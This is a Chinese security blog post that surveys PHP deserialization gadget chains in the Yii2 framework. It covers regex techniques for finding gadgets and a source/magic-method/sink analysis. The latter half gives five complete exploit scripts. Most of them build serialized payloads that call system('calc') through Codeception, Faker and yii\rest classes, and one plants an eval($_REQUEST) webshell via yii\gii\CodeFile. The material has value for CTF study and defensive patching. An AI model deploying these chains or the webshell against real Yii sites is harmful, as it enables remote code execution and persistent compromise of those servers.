Diggid's Blog

YII 反序列化POP链汇总

Diggid's Blog



YII 反序列化POP链汇总

反序列化 YII

字数统计: 2.9k阅读时长: 14 min

 2021/05/10   Share

• 
• 
• 
• 
• 

前言

红帽杯出了道YII的链，加上bypass disable_functions，这里简单总结一下YII的链子和记录一下PHPSTORM配合下全局搜链的技巧。链子的思路和Laravel7差不多，目前还没有phar + 写log的利用，YII除了反序列化之外还有蛮多洞的，慢慢分析。这篇文章主要还是想分享总结一下全局找链的方法，毕竟一个个怼着一大堆的__destruct、__call、call_user_func看的话，有点太慢了

YII框架搭建 & 简介

yii1 : https://www.yiiframework.com/doc/guide/1.1/zh-cn/quickstart.what-is-yii

yii2 : https://www.yiichina.com/doc/guide/2.0

用composer拉一下yii2的项目

composer create-project --prefer-dist yiisoft/yii2-app-basic yii2

关于yii框架的细节这里就不多介绍了，我们简单介绍一下路由，YII的路由也比较有特点，在URL中用r这个参数来控制Controller和Action，熟悉TP的话，可以知道TP是用s来控制的，但两者还是有点差别的。这里举个例子：

?r=site/test

上面的路由会找到SiteController这个控制器，然后找到其中的actionAbout路由来处理这个页面请求。

在controllers/SiteController.php下，我们加一个存在反序列化漏洞入口的路由

/**
 * Displays about page.
 *
 * @return string
 */
public function actionTest($message = 'Hello')
{
    $data = base64_decode($message);
    unserialize($data);
}

上面路由的访问方式和传参方式：

index.php?r=site/test&message=

如果要本地配合PHPSTORM调试的话，放在一个目录里，然后配置好phpstorm的调式参数，不使用yii提供的命令行来启动，我们手动访问web/index.php即可

好用的全局正则

这些正则都是基于一些调用链的形式写出来的，待补充…

形式	正则
$this->aaa	\$this->([\w\d_]+)
($this->aaa, $this->bbb, …)	\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
$this->xxx->yyy(…)	任意跳转不限参：\$this->([\w\d_]+)->([\w\d_]+)
$this->xxx->yyy($this->aaa)	任意跳转控单参：\$this->([\w\d_]+)->([\w\d_]+)\(\$this->([\w\d_]+)\)
$this->xxx->yyy($this->aaa, $this->bbb)	任意跳转控双参：\$this->([\w\d_]+)->([\w\d_]+)\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)\)
$this->xxx->yyy($this->aaa,$this->bbb,…)	任意跳转控多参(尽量固定参)：\$this->([\w\d_]+)->([\w\d_]+)\((\$this->([\w\d_]+)[,\ ]*){2,}
$this->xxx->{$this->xxx}(...)	同上：\$this->([\w\d_]+)->\{(\$this->([\w\d_]+))}
call_user_func_*(...)	执行命令不限参：call_user_func(_array)?\(
call_user_func_*($this->aaa,$this->bbb,...)	执行命令控多参call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){1,}
$this->xxx($this->yyy,…)	单参数：\(?\$this->([\w\d_]+)\)?\(\$this->([\w\d_]+)\)
	双参数：\(?\$this->([\w\d_]+)\)?\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)\)
$xxx($this->aaa,$this->bbb)	\$[\w\d_]+\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
$xxx($aaa,$this->bbb)	\$[\w\d_]+\(\$[\w\d_]+[,\ ]*\$this->([\w\d_]+)
$xxx($this->bbb,$aaa)	\$[\w\d_]+\(\$this->([\w\d_]+)[,\ ]*\$[\w\d_]+
function __X(){…Y…} //X为函数名，Y为在函数中要找的前面列的形式	function [函数名][^\x00]*?[形式]
	function __destruct[^\x00]*?\$this->([\w\d_]+)->([\w\d_]+)
	function __call[^\x00]*?call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){2,}
	function __call[^\x00]*?\$this->([\w\d_]+)->\{(\$this->([\w\d_]+))}

• 找链时先把正则范围限小一些，这样能快速筛选出数量不多的符合条件的。然后再慢慢边宽

• function __X(){...Y...}这个形式的正则并不能完全找到全都匹配的，因为phpstorm的正则无法使用递归模式，因此不太好限定就在X函数内这一条件。如果能使用递归的话，可以递归function __X(){...{...{...Y...}...}...}这样。

• 上面的思路不能完全涵盖所有链的查找思路，比如以下几种形式还需要自己一个个去找

1.
$this->xxx() 在xxx函数里：$this->xxx->yyy()

2.
$a = $this->xxx
call_user_func($this->b, $a)

三段分析

Source

配合__call

先全局搜一下__destruct并且里面含有$this->xxx->yyy(...)这种形式的，找到三个，有一个不能用，有一个在新版本打了补丁，添加了__wakeup方法来阻止反序列化，但是低版本可以绕，有一个没有限制，可以利用

有一个可以用，两个被修复了：

1. stopProcess函数中可以利用
\Codeception\Extension\RunProcess::__destruct

2. __wakeup阻止反序列化
\yii\db\BatchQueryResult::__destruct
    
3. __wakeup阻止反序列化
\GuzzleHttp\Psr7\FnStream::__destruct

看网上大部分的分析文章是找了没打补丁前的\yii\db\BatchQueryResult这个source为起点的链子，那我们这里就换一个RunProcess这个类来分析一下，其实都是一样的，只不过source变了而已。

具体来看一下RunProcess

public function __destruct()
{
    $this->stopProcess();
}

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}

注意到$process->isRunning()，前面的$this->processes是可控的，因此这里就可以构造成$this->xxx->yyy()的形式了。

配合__tostring

这个不太好限制正则条件来找，触发__tostring的方式比较多，常见的有字符串拼接、输出函数(echo、var_dump等)、hash操作(md5、sha1)、eval等。

这里在直接在__destruct中找到了下面这个，但是已经被修复了

# __wakeup清空成员变量
\Swift_KeyCache_DiskKeyCache::__destruct
\Swift_KeyCache_DiskKeyCache::clearAll
    public function clearKey($nsKey, $itemKey)
    {
        if ($this->hasKey($nsKey, $itemKey)) {
            $this->freeHandle($nsKey, $itemKey);
            // $nsKey可控
            unlink($this->path.'/'.$nsKey.'/'.$itemKey);
        }
    }

Magic Method

__call

接下来找一下__call，直接全局搜索function __call，发现数量并不多，因此我们就不进一步限制全局条件了，直接看就好了。

找到两个可以跳板的和一个可控任意返回值的：

# 新版本__wakeup已修复，$arguments可控时可直接RCE
1. \Faker\Generator::__call 
$this->format($method, $attributes);
call_user_func_array($this->getFormatter($formatter), $arguments);

#这个比较复杂，贴全一点，可以直接RCE
2. \Faker\ValidGenerator::__call 
{
    $i = 0;
    do {
        
        $res = call_user_func_array([$this->generator, $name], $arguments); //$res可控
        ++$i;

        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
    } while (!call_user_func($this->validator, $res));
}


3. \Faker\DefaultGenerator::__call
return $this->default; //这个可以用来返回可控值，并非跳板

__tostring

用下面几个正则找一下

function __tostring[^\x00]*?call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){1,}

找到一个：

1. \GuzzleHttp\Psr7\FnStream::__toString
return call_user_func($this->_fn___toString);

这里说明一下，我找__tostring主要是找可以直接连到sink的，也就是其中包含和__call一样的call_user_func(_array)?或者直接RCE的，至于一些__tostring中含有$this->xxx->yyy()这种形式的，可以再连到__call，也是一种思路，主要是用在：

• __destruct中不存在触发__call而存在触发__tostring的情况
• 扩大可控量，比如在__destruct中存在$this->xxx->yyy(zzz)，但zzz参数不可控，但是如果能触发__tostring，且找到一个__tostring，其中有$this->xxx->yyy($this->zzz)，这样再调用到__call就有一个可控参数传入了，但对于我们这里的ValidGenerator::__call，就不太需要了。

1. \Codeception\Util\XmlBuilder::__toString
return $this->__dom__->saveXML();

2. \phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString
$description = $this->description->render();

3. \phpDocumentor\Reflection\Types\Nullable::__toString
return '?' . $this->realType->__toString();

4. \Prophecy\Argument\Token\IdenticalValueToken::__toString
$this->string = sprintf('identical(%s)', $this->util->stringify($this->value));

...

Sink

RCE

最后就是要找Sink了，根据我们前面找的__call，第一个__call的$arguments参数不可控且为空，所以我们找一个任意函数无参并且包含sink点，对于第二种，在call_user_func($this->validator, $res)处，稍后会分析$res可控，因此这里可以寻找任意单参函数且包含sink。这里直接先全局搜一下call_user_func_*($this->a,$this->b,...)这种

call_user_func(_array)?\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)

找到这些：

# 有待考察，ob_get_contents方法是否可利用
1. \PHPUnit\Framework\TestCase::stopOutputBuffering()
if (ob_get_level() !== $this->outputBufferingLevel) {...}
$this->output = ob_get_contents();
if ($this->outputCallback !== false) {
    $this->output = (string) call_user_func($this->outputCallback, $this->output);
}

2. \yii\rest\CreateAction::run()
   \yii\rest\IndexAction::run()
if ($this->checkAccess) {
    call_user_func($this->checkAccess, $this->id);
}

#和2有一点不一样，需要处理一下findModel
3. \yii\rest\DeleteAction::run($id)
   \yii\rest\UpdateAction::run($id)
   \yii\rest\ViewAction::run($id)
$model = $this->findModel($id);
if ($this->checkAccess) {
    call_user_func($this->checkAccess, $this->id, $model);
}
    
public function findModel($id)
{
    if ($this->findModel !== null) {
        return call_user_func($this->findModel, $id, $this);
    }
    ...
}

Webshell

正则直接找双参数可控的file_put_contents

file_put_contents\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)

然后再找单参数可控且所在函数的参数用在了file_put_contents中的(因为前面的ValidGenerator::__call可控一个函数参数，这样就可能达到双参数可控)，但是没找到好用的。最后找到一个双参数可控的

1. \yii\gii\CodeFile::save
@file_put_contents($this->path, $this->content)

POP链

pop1*

<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop1-rce.php
# @author: diggid
*/
namespace Codeception\Extension{
    class RunProcess{
        private $processes;
        public function __construct($a)
        {
            $this->processes = array($a);
        }
    }
}
namespace Faker{
    class Generator {
        protected $formatters;
        public function __construct($a)
        {
            $this->formatters = array("isRunning" => $a);
        }
    }
}

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct($a, $b)
        {
            $this->checkAccess = $a;
            $this->id = $b;
        }
    }
}

namespace {
    $a = new yii\rest\IndexAction("system", "calc");
    $b = new Faker\Generator(array($a, "run"));
    $c = new Codeception\Extension\RunProcess($b);
    echo urlencode(base64_encode(serialize($c)));
}

pop2

<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop2-rce.php
# @author: diggid
*/
namespace Codeception\Extension{
    class RunProcess{
        private $processes;
        public function __construct($a)
        {
            $this->processes = array($a);
        }
    }
}
namespace Faker{
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($a, $b)
        {
            $this->generator = $a;
            $this->validator = $b;
            $this->maxRetries = 2;
        }
    }

    class DefaultGenerator{
        protected $default;
        public function __construct($a)
        {
            $this->default = $a;
        }
    }
}

namespace {
    $a = new Faker\DefaultGenerator("calc");
    $b = new Faker\ValidGenerator($a, "system");
    $c = new Codeception\Extension\RunProcess($b);
    echo urlencode(base64_encode(serialize($c)));
}

pop3

<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop3-rce.php
# @author: diggid
*/
namespace Codeception\Extension{
    class RunProcess{
        private $processes;
        public function __construct($a)
        {
            $this->processes = array($a);
        }
    }
}
namespace Faker{
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($a, $b)
        {
            $this->generator = $a;
            $this->validator = $b;
            $this->maxRetries = 2;
        }
    }

    class DefaultGenerator{
        protected $default;
        public function __construct($a)
        {
            $this->default = $a;
        }
    }
}

namespace yii\rest{
    class ViewAction{
        public $findModel;
        public $checkAccess;
        public $id;
        public function __construct($a, $b, $c)
        {
            // call_user_func("system","calc",$this) is not available
            // $model = call_user_func("array_fill_keys",array("diggid"),$this);
            // call_user_func($this->checkAccess, $this->id, $model);
            $this->checkAccess = $a;
            $this->id = $b;
            $this->findModel = $c;
        }
    }
}
namespace {
    $a = new Faker\DefaultGenerator("xxx");
    $d = new Faker\DefaultGenerator("system");
    $e = new yii\rest\ViewAction("array_filter", array("calc"), array($d,"yyy"));
    $b = new Faker\ValidGenerator($a, array($e, "run"));
    $c = new Codeception\Extension\RunProcess($b);
    echo urlencode(base64_encode(serialize($c)));
}

pop4

配合file_put_contents写webshell

<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop4-webshell.php
# @author: diggid
*/
namespace Codeception\Extension{
    class RunProcess{
        private $processes;
        public function __construct($a)
        {
            $this->processes = array($a);
        }
    }
}
namespace Faker{
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($a, $b)
        {
            $this->generator = $a;
            $this->validator = $b;
            $this->maxRetries = 2;
        }
    }

    class DefaultGenerator{
        protected $default;
        public function __construct($a)
        {
            $this->default = $a;
        }
    }
}

namespace yii\gii{
    class CodeFile{
        public $path = "../assets/shell.php";
        //public $path = "./shell.php";
        public $content = '<?php echo "pwned";@eval($_REQUEST[diggid]);?>';
    }
}

namespace {
    $a = new Faker\DefaultGenerator("xxx");
    $e = new yii\gii\CodeFile;
    //$e = new yii\rest\ViewAction("array_filter", array("calc"), array($d,"diggid"));
    $b = new Faker\ValidGenerator($a, array($e, "save"));
    $c = new Codeception\Extension\RunProcess($b);
    echo urlencode(base64_encode(serialize($c)));
}

pop5*

这里链是删除掉Swift_KeyCache_DiskKeyCache::__wakeup后的tostring的链，实际是打不了的

<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop5-rce.php
# @author: diggid
*/
// __tostring
namespace GuzzleHttp\Psr7{
    class FnStream{
        public $_fn___toString;
        public function __construct($a)
        {
            $this->_fn___toString = $a;
        }
    }
}
// Sink
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct($a, $b)
        {
            $this->checkAccess = $a;
            $this->id = $b;
        }
    }
}

namespace {

    class Swift_KeyCache_DiskKeyCache{
        private $keys;
        private $path;
        public function __construct($a)
        {
            $this->keys = array(array("xxx"));
            $this->path = $a;
        }
    }

    $a = new yii\rest\IndexAction("system", "calc");
    $b = new GuzzleHttp\Psr7\FnStream(array($a, "run"));
    $c = new Swift_KeyCache_DiskKeyCache($b);
    echo urlencode(base64_encode(serialize($c)));
}

原文作者：diggid

原文链接：https://blog.diggid.top/2021/05/10/YII-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96POP%E9%93%BE%E6%B1%87%E6%80%BB/

发表日期：May 10th 2021, 11:46:01 pm

更新日期：June 2nd 2021, 4:40:30 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  文件包含姿势总结
• Previous Post
  SUID 提权小记

Powered by Hexotheme Archer

PV: :)

CATALOG

1. 1. 前言
2. 2. YII框架搭建 & 简介
3. 3. 好用的全局正则
4. 4. 三段分析
   1. 4.1. Source
      1. 4.1.1. 配合__call
      2. 4.1.2. 配合__tostring
   2. 4.2. Magic Method
      1. 4.2.1. __call
      2. 4.2.2. __tostring
   3. 4.3. Sink
      1. 4.3.1. RCE
      2. 4.3.2. Webshell
5. 5. POP链
   1. 5.1. pop1*
   2. 5.2. pop2
   3. 5.3. pop3
   4. 5.4. pop4
   5. 5.5. pop5*

• Archive
• Tag
• Cate

Total : 57



2022

• 05/12Confluence 相关漏洞复现分析
• 04/30使用CodeQL-CHA调用图分析寻找新的CC链
• 03/31Spring Framework RCE 浅析
• 03/13队内分享会浅析Spring Cloud GateWay SPEL RCE - CVE-2022-22947
• 02/21rwctf2022 Desperate Cat 复现记录
• 01/12利用php://filter实现无需临时文件LFI

2021

• 12/25探索Fastjson反序列化特性和利用方式(长期更新)
• 11/29RMI 攻击方式复盘总结
• 11/22Java JMX系列(2)-MLet攻击
• 11/22Java JMX系列(4)-利用特殊的MBean
• 11/16Mysql jdbc 反序列化
• 10/26[每周3Tricks]php://filter路径穿越问题
• 10/21Bypass java沙箱 总结
• 10/13C3P0的不出网方式利用
• 09/24Java 反序列化Gadgets分析 - Clojure/Click1/Vaadin1
• 09/21Java 反序列化Gadgets分析 - AspectJWeaver/Jython/JavassistWeld
• 09/21Java 反序列化Gadgets分析 - ROME/BeanShell/C3P0
• 09/16Java 反序列化Gadgets分析 - FileUpload/Wicket/MozillaRhino
• 09/14Java 反序列化Gadgets分析 - Groovy/Hibernate/Spring
• 09/132021 RCTF 部分Web WP
• 08/19XStream 反序列化漏洞(3) - CVE-2021-xxx系列
• 08/16XStream 反序列化漏洞(2) - CVE-2020-xxx系列
• 08/13XStream 反序列化漏洞(1) - 漏洞浅析
• 08/02shiro 权限绕过系列汇总
• 07/27Jackson 反序列化系列汇总
• 07/20Java 反序列化回显姿势(缺Tomcat)
• 07/20[Java WebLogic反序列化]XMLDecoder之CVE-2019-2725
• 07/15新型ScriptEngine马实现冰蝎shell免杀
• 07/15[Java WebLogic反序列化]XMLDecoder之CVE-2017-3506 & 10271
• 07/11[Java反序列化]Jdk7u21 & Jdk8u20 反序列化漏洞分析
• 06/17[蚁剑改造]给php-fpm绕过disabled_functions增加对话函数选择
• 05/30[Java反序列化] Commons Collections 1-7 反序列化链分析
• 05/30Laravel 8 Debug Mode RCE 拓展与踩坑
• 05/26ThinkPHP 系列框架梳理
• 05/24ThinkPHP5 RCE漏洞总结
• 05/22ThinkPHP5 SQL注入漏洞总结
• 05/20PHP原生类利用
• 05/18phar反序列化tricks小总结
• 05/16文件包含姿势总结
• 05/10YII 反序列化POP链汇总
• 05/08SUID 提权小记
• 05/05PHP-FPM 打法小总结
• 05/04蓝帽杯 2021 One Pointer PHP 复现
• 05/02[刷题] BUUOJ做题记录(1)
• 04/20Laravel 5.7-7 反序列化系列漏洞汇总
• 04/09Fastjson 反序列化漏洞总结
• 04/05SSRF Gopher协议打内网复现
• 03/29VNCTF 2021 做题记录
• 03/16SpEL & Thymeleaf 模板注入学习
• 03/11DiceCTF 2021 复盘
• 02/25Java反序列化漏洞基础 - 动态代理
• 02/22Java反序列化漏洞基础 - 反射&反序列化
• 02/09从三道题学习XSS侧信道
• 02/09博客落地
• 02/08pickle反序列化总结
• 01/21Bypass PHP WAF to RCE

2020

• 12/22SSTI_flask骚姿势总结

buuoj wp xss java java反序列化 Fastjson 反序列化 Java反射 java动态代理 Lavarel RMI php原生类 模板注入 SpEL注入 SSRF gopher FastCGI PHP-FPM Thymeleaf注入 thinkphp 框架 Thinkphp SQL注入 YII phar反序列化 php 文件包含 工具改造 蚁剑 php-fpm disabled_functions C3P0 不出网 WebLogic XMLDecoder CVE-2019-2725 gadgets RCE 漏洞回显 Jackson反序列化 jdk7u21 jdk8u20 侧信道 伪协议清日志 debug mode RCE 提权 内网渗透 SUID ssti thinkphp5 rce 做题记录 XStream php特性 pickle CVE-2020-26217 CVE-2020-26258 CVE-2020-26259 shiro鉴权 冰蝎 免杀shell 每周3Tricks php_stream_wrapper JMX Exp MBean jmx MLet mysql jdbc spring LFI spel spring cloud gateway rwctf2022 tomcat codeql cc链 中间件 Confluence



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true

others wp nodejs java php python 工具改造 内网渗透



